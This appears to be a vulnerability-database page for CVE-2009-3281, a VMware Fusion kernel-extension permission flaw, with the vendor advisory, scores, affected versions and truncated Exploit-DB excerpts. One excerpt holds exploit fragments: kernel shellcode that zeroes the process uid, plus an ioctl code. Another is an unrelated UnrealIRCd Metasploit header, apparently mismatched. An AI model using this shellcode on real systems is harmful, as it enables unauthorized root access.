CVE-2009-3281
published 2009-10-16CVE-2009-3281: The vmx86 kernel extension in VMware Fusion before 2.0.6 build 196839 does not use correct file permissions, which allows host OS users to gain privileges on…
PriorityP433high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
0.93%
56.8th percentile
The vmx86 kernel extension in VMware Fusion before 2.0.6 build 196839 does not use correct file permissions, which allows host OS users to gain privileges on the host OS via unspecified vectors.
Affected
13 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| vmware | esxi | — | — |
| vmware | fusion | <= 2.0.5 | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | fusion | — | — |
| vmware | vmware_fusion | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VMware
VMware Fusion resolves two security issues
vendor_vmware·2009-10-01·CVSS 7.2
CVE-2009-3281 [HIGH] VMware Fusion resolves two security issues
VMSA-2009-0013: VMware Fusion resolves two security issues
VMware Fusion is a product that allows you to seamlessly run your favorite Windows applications on any Intel-based Mac. a. Kernel code execution vulnerability An file permission problem in the vmx86 kernel extension allows for executing arbitrary code in the host system kernel context by an unprivileged user on the host system. VMware would like to thank Neil Kettle of Convergent Network Solutions for reporting this issue to us. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2009-3281 to this issue. b. Kernel denial of service vulnerability An integer overflow vulnerability in the vmx86 kernel extension allows for a denial of service of the host by an unprivileged user on the host system
GHSA
GHSA-5x7c-p595-fhwh: The vmx86 kernel extension in VMware Fusion before 2
ghsa_unreviewed·2022-05-02
CVE-2009-3281 [HIGH] GHSA-5x7c-p595-fhwh: The vmx86 kernel extension in VMware Fusion before 2
The vmx86 kernel extension in VMware Fusion before 2.0.6 build 196839 does not use correct file permissions, which allows host OS users to gain privileges on the host OS via unspecified vectors.
No detection rules found.
Exploit-DB
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
exploitdb·2010-12-05
CVE-2010-2075 UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
---
##
# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11227 $'
Exploit-DB
VMware Fusion 2.0.5 - vmx86 kext Kernel Privilege Escalation
exploitdb·2009-10-02
CVE-2009-3281 VMware Fusion 2.0.5 - vmx86 kext Kernel Privilege Escalation
VMware Fusion 2.0.5 - vmx86 kext Kernel Privilege Escalation
---
/* vmware-fission.c
*
* Copyright (c) 2009 by
*
* VMware Fusion
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef IOCPARM_MASK
#define IOCPARM_MASK 0x1FFF
#endif
#ifndef IOCPARM_LEN
#define IOCPARM_LEN(a) (((a) >> 16) & IOCPARM_MASK)
#endif
#define VMX86_INIT_IOCTL 0x802E564A
static unsigned char zleopard[] =
/* _stack_walk */
"\x89\xe8" /* mov eax, ebp */
"\x8b\x00" /* mov eax, [eax] */
"\x8b\x00" /* mov eax, [eax] */
/* _drop_privs_dirty */
"\x8b\x40\x18" /* mov eax, [eax+0x18] */
"\x8b\x40\x64" /* mov eax, [eax+0x64] */
"\xc7\x40\x10\x00\x00\x00\x00" /* mov [eax+0x10], 0 */
"\x31\xc0" /* xor eax, eax */
"\xc3"; /* ret */
static struct targets {
const char *name;
int shell_addr;
No writeups or analysis indexed.
http://lists.vmware.com/pipermail/security-announce/2009/000066.htmlhttp://secunia.com/advisories/36928http://securitytracker.com/id?1022981http://www.vmware.com/security/advisories/VMSA-2009-0013.htmlhttp://www.vupen.com/english/advisories/2009/2811http://lists.vmware.com/pipermail/security-announce/2009/000066.htmlhttp://secunia.com/advisories/36928http://securitytracker.com/id?1022981http://www.vmware.com/security/advisories/VMSA-2009-0013.htmlhttp://www.vupen.com/english/advisories/2009/2811
2009-10-16
Published